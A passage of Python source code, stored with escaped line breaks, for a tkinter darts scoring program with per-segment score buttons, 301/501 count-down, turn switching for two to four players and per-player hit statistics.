d20():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"D20\"\n    label_dart_score['text'] = \"40\"\n\n\ndef s20():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"S20\"\n    label_dart_score['text'] = \"20\"\n\n\ndef t19():\n    \"\"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"T19\"\n    label_dart_score['text'] = \"57\"\n\n\ndef d19():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"D19\"\n    label_dart_score['text'] = \"38\"\n\n\ndef s19():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"S19\"\n    label_dart_score['text'] = \"19\"\n\n\ndef t18():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"T18\"\n    label_dart_score['text'] = \"54\"\n\n\ndef d18():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"D18\"\n\n    label_dart_score['text'] = \"36\"\n\n\ndef s18():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"S18\"\n\n    label_dart_score['text'] = \"18\"\n\n\ndef t17():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"T17\"\n    label_dart_score['text'] = \"51\"\n\n\ndef d17():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"D17\"\n    label_dart_score['text'] = \"34\"\n\n\ndef s17():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"S17\"\n    label_dart_score['text'] = \"17\"\n\n\ndef t16():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"T16\"\n    label_dart_score['text'] = \"48\"\n\n\ndef d16():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"D16\"\n    label_dart_score['text'] = \"32\"\n\n\ndef s16():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"S16\"\n    label_dart_score['text'] = \"16\"\n\n\ndef t15():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"T15\"\n    label_dart_score['text'] = \"45\"\n\n\ndef d15():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"D15\"\n    label_dart_score['text'] = \"30\"\n\n\ndef s15():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"S15\"\n    label_dart_score['text'] = \"15\"\n\n\ndef t14():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"T14\"\n    label_dart_score['text'] = \"42\"\n\n\ndef d14():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"D14\"\n    label_dart_score['text'] = \"28\"\n\n\ndef s14():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"S14\"\n    label_dart_score['text'] = \"14\"\n\n\ndef t13():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"T13\"\n    label_dart_score['text'] = \"39\"\n\n\ndef d13():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"D13\"\n    label_dart_score['text'] = \"26\"\n\n\ndef s13():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"S13\"\n    label_dart_score['text'] = \"13\"\n\n\ndef t12():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"T12\"\n    label_dart_score['text'] = \"36\"\n\n\ndef d12():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"D12\"\n    label_dart_score['text'] = \"24\"\n\n\ndef s12():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"S12\"\n    label_dart_score['text'] = \"12\"\n\n\ndef t11():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"T11\"\n    label_dart_score['text'] = \"33\"\n\n\ndef d11():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"D11\"\n    label_dart_score['text'] = \"22\"\n\n\ndef s11():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"S11\"\n    label_dart_score['text'] = \"11\"\n\n\ndef t10():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"T10\"\n    label_dart_score['text'] = \"30\"\n\n\ndef d10():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"D10\"\n    label_dart_score['text'] = \"20\"\n\n\ndef s10():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"S10\"\n    label_dart_score['text'] = \"10\"\n\n\ndef t_9():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"T9\"\n    label_dart_score['text'] = \"27\"\n\n\ndef d_9():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"D9\"\n    label_dart_score['text'] = \"18\"\n\n\ndef s_9():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"S9\"\n    label_dart_score['text'] = \"9\"\n\n\ndef t_8():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"T8\"\n    label_dart_score['text'] = \"24\"\n\n\ndef d_8():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"D8\"\n    label_dart_score['text'] = \"16\"\n\n\ndef s_8():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"S8\"\n    label_dart_score['text'] = \"8\"\n\n\ndef t_7():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"T7\"\n    label_dart_score['text'] = \"21\"\n\n\ndef d_7():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"D7\"\n    label_dart_score['text'] = \"14\"\n\n\ndef s_7():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"S7\"\n    label_dart_score['text'] = \"7\"\n\n\ndef t_6():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"T6\"\n    label_dart_score['text'] = \"18\"\n\n\ndef d_6():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"D6\"\n    label_dart_score['text'] = \"12\"\n\n\ndef s_6():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"S6\"\n    label_dart_score['text'] = \"6\"\n\n\ndef t_5():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"T5\"\n    label_dart_score['text'] = \"15\"\n\n\ndef d_5():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"D5\"\n    label_dart_score['text'] = \"10\"\n\n\ndef s_5():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"S5\"\n    label_dart_score['text'] = \"5\"\n\n\ndef t_4():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"T4\"\n    label_dart_score['text'] = \"12\"\n\n\ndef d_4():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"D4\"\n    label_dart_score['text'] = \"8\"\n\n\ndef s_4():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"S4\"\n    label_dart_score['text'] = \"4\"\n\n\ndef t_3():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"T3\"\n    label_dart_score['text'] = \"9\"\n\n\ndef d_3():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"D3\"\n    label_dart_score['text'] = \"6\"\n\n\ndef s_3():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"S3\"\n    label_dart_score['text'] = \"3\"\n\n\ndef t_2():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"T2\"\n    label_dart_score['text'] = \"6\"\n\n\ndef d_2():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"D2\"\n    label_dart_score['text'] = \"4\"\n\n\ndef s_2():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"S2\"\n    label_dart_score['text'] = \"2\"\n\n\ndef t_1():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"T1\"\n    label_dart_score['text'] = \"3\"\n\n\ndef d_1():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"D1\"\n    label_dart_score['text'] = \"2\"\n\n\ndef s_1():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"S1\"\n    label_dart_score['text'] = \"1\"\n\n\ndef bull():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"Bull\"\n    label_dart_score['text'] = \"50\"\n\n\ndef single_bull():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"Single_Bull\"\n    label_dart_score['text'] = \"25\"\n\n\ndef null():\n    \"\"\"\n    This function adds the thrown score\n    :return:\n    \"\"\"\n    label_invisible['text'] = \"\"\n    label_dart_score['text'] = \"0\"\n\n\ndef button_exit():\n    \"\"\"\n    This function creates an exit - button for the gui\n    :return:\n    \"\"\"\n    if not any(isinstance(window, Toplevel) for window in gui.winfo_children()):\n        exit_window = Toplevel(gui)\n        exit_window.geometry('250x150')\n        exit_window.resizable(width=False, height=False)\n        exit_window.title(\"Stop?\")\n\n        label_exit = Label(exit_window, text=\"End game?\", font=('Arial', 11))\n        button_yes = Button(exit_window, text=\"Yes\", command=exit_window.quit,\n                            font=('Arial', 10, 'bold'), bg=\"white\",\n                            fg=\"green\")\n        button_no = Button(exit_window, text=\"No\", command=exit_window.destroy,\n                           font=('Arial', 10, 'bold'),\n                           bg=\"white\", fg=\"red\")\n\n        label_exit.place(x=80, y=0, width=100, height=50)\n        button_yes.place(x=50, y=60, width=50, height=50)\n        button_no.place(x=150, y=60, width=50, height=50)\n\n    else:\n        messagebox.showinfo(\"Info\", \"You already clicked on \\\"Stop\\\"!\")\n\n\ndef increment_starting_points():\n    \"\"\"\n    Ths function sets all labels to 501\n    :return:\n    \"\"\"\n    label_switch_starting_points['text'] = \"501\"\n\n\ndef decrement_starting_points():\n    \"\"\"\n    This function sets all labels to 301\n    :return:\n    \"\"\"\n    label_switch_starting_points['text'] = \"301\"\n\n\ndef next_button():\n    \"\"\"\n    This function switches to the next player\n    :return:\n    \"\"\"\n    zwischen_label['text'] = \"0\"\n    label_first_dart['bg'] = \"yellow\"\n    label_second_dart['bg'] = \"white\"\n    label_third_dart['bg'] = \"white\"\n\n    number = int(label_number_players['text'])\n\n    # check label 1\n    if label_1_score['bg'] == \"yellow\":\n        label_1_score['bg'] = \"white\"\n\n        if number == 2:\n            label_2_score['bg'] = \"yellow\"\n\n        elif number == 3:\n            if int(label_2_score['text']) == 0:\n                label_3_score['bg'] = \"yellow\"\n            else:\n                label_2_score['bg'] = \"yellow\"\n\n        elif number == 4:\n            if int(label_2_score['text']) == 0:\n                if int(label_3_score['text']) == 0:\n                    label_4_score['bg'] = \"yellow\"\n                else:\n                    label_3_score['bg'] = \"yellow\"\n            else:\n                label_2_score['bg'] = \"yellow\"\n    else:\n        next_button2(number)\n\n\ndef next_button2(number):\n    \"\"\"\n    This function switches to the next player\n    :param number: number of players\n    :return:\n    \"\"\"\n    # check label 2\n    if label_2_score['bg'] == \"yellow\":\n        label_2_score['bg'] = \"white\"\n\n        if number == 2:\n            label_1_score['bg'] = \"yellow\"\n\n        elif number == 3:\n            if int(label_3_score['text']) == 0:\n                label_1_score['bg'] = \"yellow\"\n            else:\n                label_3_score['bg'] = \"yellow\"\n\n        elif number == 4:\n            if int(label_3_score['text']) == 0:\n                if int(label_4_score['text']) == 0:\n                    label_1_score['bg'] = \"yellow\"\n                else:\n                    label_4_score['bg'] = \"yellow\"\n            else:\n                label_3_score['bg'] = \"yellow\"\n\n    else:\n        next_button3(number)\n\n\ndef next_button3(number):\n    \"\"\"\n    This function switches to the next player\n    :param number: number of players\n    :return:\n    \"\"\"\n    # check label 3\n    if label_3_score['bg'] == \"yellow\":\n        label_3_score['bg'] = \"white\"\n\n        if number == 3:\n            if int(label_1_score['text']) == 0:\n                label_2_score['bg'] = \"yellow\"\n            else:\n                label_1_score['bg'] = \"yellow\"\n\n        elif number == 4:\n            if int(label_4_score['text']) == 0:\n                if int(label_1_score['text']) == 0:\n                    label_2_score['bg'] = \"yellow\"\n                else:\n                    label_1_score['bg'] = \"yellow\"\n            else:\n                label_4_score['bg'] = \"yellow\"\n    else:\n        next_button4(number)\n\n\ndef next_button4(number):\n    \"\"\"\n    This function switches to the next player\n    :param number: number of players\n    :return:\n    \"\"\"\n    # check label 4\n    if label_4_score['bg'] == \"yellow\":\n        label_4_score['bg'] = \"white\"\n\n        if number == 4:\n            if int(label_1_score['text']) == 0:\n                if int(label_2_score['text']) == 0:\n                    label_3_score['bg'] = \"yellow\"\n                else:\n                    label_2_score['bg'] = \"yellow\"\n            else:\n                label_1_score['bg'] = \"yellow\"\n\n\ndef next_label():\n    \"\"\"\n    This function switches to the next player\n    :return:\n    \"\"\"\n    number = int(label_number_players['text'])\n\n    # check label 1\n    if label_1_score['bg'] == \"yellow\":\n        label_1_score['bg'] = \"white\"\n\n        if number == 2:\n            label_2_score['bg'] = \"yellow\"\n\n        elif number == 3:\n            if int(label_2_score['text']) == 0:\n                label_3_score['bg'] = \"yellow\"\n            else:\n                label_2_score['bg'] = \"yellow\"\n\n        elif number == 4:\n            if int(label_2_score['text']) == 0:\n                if int(label_3_score['text']) == 0:\n                    label_4_score['bg'] = \"yellow\"\n                else:\n                    label_3_score['bg'] = \"yellow\"\n            else:\n                label_2_score['bg'] = \"yellow\"\n    else:\n        next_label2(number)\n\n\ndef next_label2(number):\n    \"\"\"\n    This function switches to the next player\n    :param number: number of players\n    :return:\n    \"\"\"\n    # check label 2\n    if label_2_score['bg'] == \"yellow\":\n        label_2_score['bg'] = \"white\"\n\n        if number == 2:\n            label_1_score['bg'] = \"yellow\"\n\n        elif number == 3:\n            if int(label_3_score['text']) == 0:\n                label_1_score['bg'] = \"yellow\"\n            else:\n                label_3_score['bg'] = \"yellow\"\n\n        elif number == 4:\n            if int(label_3_score['text']) == 0:\n                if int(label_4_score['text']) == 0:\n                    label_1_score['bg'] = \"yellow\"\n                else:\n                    label_4_score['bg'] = \"yellow\"\n            else:\n                label_3_score['bg'] = \"yellow\"\n\n    else:\n        next_label3(number)\n\n\ndef next_label3(number):\n    \"\"\"\n    This function switches to the next player\n    :param number: number of players\n    :return:\n    \"\"\"\n    # check label 3\n    if label_3_score['bg'] == \"yellow\":\n        label_3_score['bg'] = \"white\"\n\n        if number == 3:\n            if int(label_1_score['text']) == 0:\n                label_2_score['bg'] = \"yellow\"\n            else:\n                label_1_score['bg'] = \"yellow\"\n\n        elif number == 4:\n            if int(label_4_score['text']) == 0:\n                if int(label_1_score['text']) == 0:\n                    label_2_score['bg'] = \"yellow\"\n                else:\n                    label_1_score['bg'] = \"yellow\"\n            else:\n                label_4_score['bg'] = \"yellow\"\n    else:\n        next_label4(number)\n\n\ndef next_label4(number):\n    \"\"\"\n    This function switches to the next player\n    :param number: number of players\n    :return:\n    \"\"\"\n    # check label 4\n    if label_4_score['bg'] == \"yellow\":\n        label_4_score['bg'] = \"white\"\n\n        if number == 4:\n            if int(label_1_score['text']) == 0:\n                if int(label_2_score['text']) == 0:\n                    label_3_score['bg'] = \"yellow\"\n                else:\n                    label_2_score['bg'] = \"yellow\"\n            else:\n                label_1_score['bg'] = \"yellow\"\n\n\ndef get_amount_of_darts():\n    \"\"\"\n    This function calculate the number of thrown darts\n    :return: amount of darts\n    \"\"\"\n    count_down_button.pack()\n    count_down_button.pack_forget()\n    count_down_button['text'] = \"Count down\"\n\n    button_dart_score.pack()\n    button_dart_score.place(x=90, y=300, height=30, width=80)\n\n    zwischen_label['text'] = \"0\"\n\n    darts = 3\n\n    if label_first_dart['bg'] == \"yellow\":\n        darts = 1\n    elif label_second_dart['bg'] == \"yellow\":\n        darts = 2\n    elif label_third_dart['bg'] == \"yellow\":\n        darts = 3\n\n    label_first_dart['bg'] = \"yellow\"\n    label_second_dart['bg'] = \"white\"\n    label_third_dart['bg'] = \"white\"\n\n    return darts\n\n\ndef count_down():\n    \"\"\"\n    This function counts the score down\n    :return:\n    \"\"\"\n    flag = True\n    number = int(label_number_players['text'])\n    result = int(zwischen_label['text'])\n    darts = get_amount_of_darts()\n\n    two = int(label_2_score['text'])\n\n    try:\n        three = int(label_3_score['text'])\n        four = int(label_4_score['text'])\n\n    except ValueError:\n        three = 501\n        four = 501\n\n    # count down player 1\n    if label_1_score['bg'] == \"yellow\":\n        current = int(label_1_score['text'])\n        if result > current:\n            messagebox.showinfo(\"Warning\", \"No score.\")\n            result2 = 0\n            add_player1(result2, darts)\n\n        elif current > result:\n            current = current - result\n            label_1_score['text'] = current\n            add_player1(result, darts)\n\n        elif result == current:\n            current = current - result\n            label_1_score['text'] = current\n            add_player1(result, darts)\n\n            # first check: 2 players\n            if number == 2:\n                player1_kpis[0]['Legs'] += 1\n                messagebox.showinfo(\"Info\", label_player_1_name['text'] + \" is the winner.\")\n                flag = False\n\n                end_game()\n\n            # second check: 3 players\n            elif number == 3:\n                # check if one player has 0 points left\n                if two == 0 or three == 0:\n                    messagebox.showinfo(\"Info\", label_player_1_name['text'] +\n                                        \" is the second winner.\")\n                    flag = False\n                    end_game()\n                else:\n                    player1_kpis[0]['Legs'] += 1\n                    messagebox.showinfo(\"Info\", label_player_1_name['text'] +\n                                        \" is the first winner.\")\n\n            # third check: 4 players\n            elif number == 4:\n                flag = check_4players_label1(two, three, four)\n\n        if flag:\n            next_label()\n    else:\n        count_down_player2(result, darts)\n\n\ndef check_4players_label1(two, three, four):\n    \"\"\"\n    This function check 4 players for label 1\n    :param two: score of player 2\n    :param three: score of player 3\n    :param four: score of player 4\n    :return: false if game is finished\n    \"\"\"\n    players_with_zero_points = 0\n\n    if two == 0:\n        players_with_zero_points += 1\n\n    if three == 0:\n        players_with_zero_points += 1\n\n    if four == 0:\n        players_with_zero_points += 1\n\n    if players_with_zero_points == 0:\n        player1_kpis[0]['Legs'] += 1\n        messagebox.showinfo(\"Info\", label_player_1_name['text'] +\n                            \" is the first winner.\")\n\n    elif players_with_zero_points == 1:\n        messagebox.showinfo(\"Info\", label_player_1_name['text'] +\n                            \" is second the winner.\")\n\n    elif players_with_zero_points == 2:\n        messagebox.showinfo(\"Info\", label_player_1_name['text'] +\n                            \" is the third winner.\")\n        end_game()\n        return False\n\n    return True\n\ndef count_down_player2(result, darts):\n    \"\"\"\n    This function counts the score of player 2 down\n    :param result: thrown points\n    :param darts: number of darts\n    :return:\n    \"\"\"\n    flag = True\n    one = int(label_1_score['text'])\n\n    try:\n        three = int(label_3_score['text'])\n        four = int(label_4_score['text'])\n\n    except ValueError:\n        three = 501\n        four = 501\n\n    number = int(label_number_players['text'])\n    # count down label 2\n    if label_2_score['bg'] == \"yellow\":\n        current = int(label_2_score['text'])\n        if result > current:\n            messagebox.showinfo(\"Warning\", \"No score.\")\n            result2 = 0\n            add_player2(result2, darts)\n\n        elif current > result:\n            current = current - result\n            label_2_score['text'] = current\n            add_player2(result, darts)\n\n        elif result == current:\n            current = current - result\n            label_2_score['text'] = current\n            add_player2(result, darts)\n\n            # first check: 2 players\n            if number == 2:\n                player2_kpis[0]['Legs'] += 1\n                messagebox.showinfo(\"Info\", label_player_2_name['text'] + \" is the winner.\")\n                flag = False\n                end_game()\n\n            # second check: 3 players\n            elif number == 3:\n                # check if one player has 0 points left\n                if one == 0 or three == 0:\n                    messagebox.showinfo(\"Info\", label_player_2_name['text'] +\n                                        \" is the second winner.\")\n                    flag = False\n                    end_game()\n                else:\n                    player2_kpis[0]['Legs'] += 1\n                    messagebox.showinfo(\"Info\", label_player_2_name['text'] +\n                                        \" is the first winner.\")\n\n            # third check: 4 players\n            elif number == 4:\n                flag = check_4players_label2(one, three, four)\n\n        if flag:\n            next_label()\n    else:\n        count_down_player3(result, darts)\n\n\ndef check_4players_label2(one, three, four):\n    \"\"\"\n    This function check 4 players for label 2\n     :param one: score of player 1\n    :param three: score of player 3\n    :param four: score of player 4\n    :return: false if game is finished\n    \"\"\"\n    players_with_zero_points = 0\n\n    if one == 0:\n        players_with_zero_points += 1\n\n    if three == 0:\n        players_with_zero_points += 1\n\n    if four == 0:\n        players_with_zero_points += 1\n\n    if players_with_zero_points == 0:\n        player2_kpis[0]['Legs'] += 1\n        messagebox.showinfo(\"Info\", label_player_2_name['text'] +\n                            \" is the first winner.\")\n\n    elif players_with_zero_points == 1:\n        messagebox.showinfo(\"Info\", label_player_2_name['text'] +\n                            \" is second the winner.\")\n\n    elif players_with_zero_points == 2:\n        messagebox.showinfo(\"Info\", label_player_2_name['text'] +\n                            \" is the third winner.\")\n        end_game()\n        return False\n\n    return True\n\n\ndef count_down_player3(result, darts):\n    \"\"\"\n    This function counts the score of player 3 down\n    :param result: thrown points\n    :param darts: number of darts\n    :return:\n    \"\"\"\n    flag = True\n    one = int(label_1_score['text'])\n    two = int(label_2_score['text'])\n\n    try:\n        four = int(label_4_score['text'])\n\n    except ValueError:\n        four = 501\n\n    number = int(label_number_players['text'])\n\n    # label 3\n    if label_3_score['bg'] == \"yellow\":\n        current = int(label_3_score['text'])\n        if result > current:\n            messagebox.showinfo(\"Warning\", \"No score.\")\n            result2 = 0\n            add_player3(result2, darts)\n\n        elif current > result:\n            current = current - result\n            label_3_score['text'] = current\n            add_player3(result, darts)\n\n        elif result == current:\n            current = current - result\n            label_3_score['text'] = current\n            add_player3(result, darts)\n\n            # first check: 3 players\n            if number == 3:\n                # check if one player has 0 points left\n                if one == 0 or two == 0:\n                    messagebox.showinfo(\"Info\", label_player_3_name['text'] +\n                                        \" is the second winner.\")\n                    flag = False\n                    end_game()\n                else:\n                    player3_kpis[0]['Legs'] += 1\n                    messagebox.showinfo(\"Info\", label_player_3_name['text'] +\n                                        \" is the first winner.\")\n\n            # second check: 4 players\n            elif number == 4:\n                flag = check_4players_label3(one, two, four)\n\n        if flag:\n            next_label()\n    else:\n        count_down_player4(result, darts)\n\n\ndef check_4players_label3(one, two, four):\n    \"\"\"\n    This function check 4 players for label 3\n     :param one: score of player 1\n    :param two: score of player 2\n    :param four: score of player 4\n    :return: false if game is finished\n    \"\"\"\n    players_with_zero_points = 0\n\n    if one == 0:\n        players_with_zero_points += 1\n\n    if two == 0:\n        players_with_zero_points += 1\n\n    if four == 0:\n        players_with_zero_points += 1\n\n    if players_with_zero_points == 0:\n        player3_kpis[0]['Legs'] += 1\n        messagebox.showinfo(\"Info\", label_player_3_name['text'] +\n                            \" is the first winner.\")\n\n    elif players_with_zero_points == 1:\n        messagebox.showinfo(\"Info\", label_player_3_name['text'] +\n                            \" is second the winner.\")\n\n    elif players_with_zero_points == 2:\n        messagebox.showinfo(\"Info\", label_player_3_name['text'] +\n                            \" is the third winner.\")\n        end_game()\n        return False\n\n    return True\n\ndef count_down_player4(result, darts):\n    \"\"\"\n    This function counts the score of player 3 down\n    :param result: thrown points\n    :param darts: number of darts\n    :return:\n    \"\"\"\n    flag = True\n    one = int(label_1_score['text'])\n    two = int(label_2_score['text'])\n\n    try:\n        three = int(label_3_score['text'])\n\n    except ValueError:\n        three = 501\n\n    number = int(label_number_players['text'])\n\n    if label_4_score['bg'] == \"yellow\":\n        current = int(label_4_score['text'])\n        if result > current:\n            messagebox.showinfo(\"Warning\", \"No score.\")\n            result2 = 0\n            add_player4(result2, darts)\n\n        elif current > result:\n            current = current - result\n            label_4_score['text'] = current\n            add_player4(result, darts)\n\n        elif result == current:\n            current = current - result\n            label_4_score['text'] = current\n            add_player4(result, darts)\n\n            # first check: 4 players\n            if number == 4:\n                flag = check_4players_label4(one, two, three)\n\n        if flag:\n            next_label()\n\n\ndef check_4players_label4(one, two, three):\n    \"\"\"\n    This function check 4 players for label 4\n    :param one: score of player 1\n    :param two: score of player 2\n    :param three: score of player 3\n    :return: false if game is finished\n    \"\"\"\n    players_with_zero_points = 0\n\n    if one == 0:\n        players_with_zero_points += 1\n\n    if two == 0:\n        players_with_zero_points += 1\n\n    if three == 0:\n        players_with_zero_points += 1\n\n    if players_with_zero_points == 0:\n        player4_kpis[0]['Legs'] += 1\n        messagebox.showinfo(\"Info\", label_player_4_name['text'] +\n                            \"is the first winner.\")\n\n    elif players_with_zero_points == 1:\n        messagebox.showinfo(\"Info\", label_player_4_name['text'] +\n                            \" is second the winner.\")\n\n    elif players_with_zero_points == 2:\n        messagebox.showinfo(\"Info\", label_player_4_name['text'] +\n                            \" is the third winner.\")\n        end_game()\n        return False\n\n    return True\n\n\ndef add_scores():\n    \"\"\"\n    This function adds the thrown darts to the kpis/player_scores of player 1\n    :return:\n    \"\"\"\n    # get the score from invisible label and reset it to 0\n    score = label_invisible['text']\n    label_invisible['text'] = \"0\"\n\n    # player 1\n    if label_1_score['bg'] == \"yellow\":\n        if \"T\" in score:\n            player1_scores[0][\"Triple\"] += 1\n            if score == \"T20\":\n                player1_scores[0][\"T20\"] += 1\n            elif score == \"T19\":\n                player1_scores[0][\"T19\"] += 1\n            elif score == \"T18\":\n                player1_scores[0][\"T18\"] += 1\n\n        elif \"D\" in score:\n            player1_scores[0][\"Double\"] += 1\n\n        elif \"Bull\" in score:\n            if score == \"Single_Bull\":\n                player1_scores[0][\"Single_Bull\"] += 1\n            else:\n                player1_scores[0][\"Bull\"] += 1\n        elif \"S\" in score:\n            add_scores_player1_help(score)\n        else:\n            player1_scores[0][\"No_Score\"] += 1\n\n    else:\n        add_scores_player2(score)\n\n\ndef add_scores_player1_help(score):\n    \"\"\"\n    This function adds the thrown darts to the kpis/player_scores of player 1\n    :param score: current score\n    :return:\n    \"\"\"\n    if score == \"S20\":\n        player1_scores[0][\"S20\"] += 1\n    elif score == \"S19\":\n        player1_scores[0][\"S19\"] += 1\n    elif score == \"S18\":\n        player1_scores[0][\"S18\"] += 1\n\n\ndef add_scores_player2(score):\n    \"\"\"\n    This function adds the thrown darts to the kpis/player_scores of player 2\n    :param score: current score\n    :return\n    \"\"\"\n    # player 2\n    if label_2_score['bg'] == \"yellow\":\n        if \"T\" in score:\n            player2_scores[0][\"Triple\"] += 1\n            if score == \"T20\":\n                player2_scores[0][\"T20\"] += 1\n            elif score == \"T19\":\n                player2_scores[0][\"T19\"] += 1\n            elif score == \"T18\":\n                player2_scores[0][\"T18\"] += 1\n\n        elif \"D\" in score:\n            player2_scores[0][\"Double\"] += 1\n\n        elif \"Bull\" in score:\n            if score == \"Single_Bull\":\n                player2_scores[0][\"Single_Bull\"] += 1\n            else:\n                player2_scores[0][\"Bull\"] += 1\n\n        elif \"S\" in score:\n            add_scores_player2_help(score)\n\n        else:\n            player2_scores[0][\"No_Score\"] += 1\n\n    else:\n        add_scores_player3(score)\n\n\ndef add_scores_player2_help(score):\n    \"\"\"\n    This function adds the thrown darts to the kpis/player_scores of player 2\n    :param score: current score\n    :return:\n    \"\"\"\n    if score == \"S20\":\n        player2_scores[0][\"S20\"] += 1\n    elif score == \"S19\":\n        player2_scores[0][\"S19\"] += 1\n    elif score == \"S18\":\n        player2_scores[0][\"S18\"] += 1\n\n\ndef add_scores_player3(score):\n    \"\"\"\n    This function adds the thrown darts to the kpis/player_scores of player 3\n    :param score: current score\n    :return\n    \"\"\"\n    # player 3\n    if label_3_score['bg'] == \"yellow\":\n        if \"T\" in score:\n            player3_scores[0][\"Triple\"] += 1\n            if score == \"T20\":\n                player3_scores[0][\"T20\"] += 1\n            elif score == \"T19\":\n                player3_scores[0][\"T19\"] += 1\n            elif score == \"T18\":\n                player3_scores[0][\"T18\"] += 1\n\n        elif \"D\" in score:\n            player3_scores[0][\"Double\"] += 1\n\n        elif \"Bull\" in score:\n            if score == \"Single_Bull\":\n                player3_scores[0][\"Single_Bull\"] += 1\n            else:\n                player3_scores[0][\"Bull\"] += 1\n\n        elif \"S\" in score:\n            add_scores_player3_help(score)\n\n        else:\n            player3_scores[0][\"No_Score\"] += 1\n\n    else:\n        add_scores_player4(score)\n\n\ndef add_scores_player3_help(score):\n    \"\"\"\n    This function adds the thrown darts to the kpis/player_scores of player 3\n    :param score: current score\n    :return:\n    \"\"\"\n    if score == \"S20\":\n        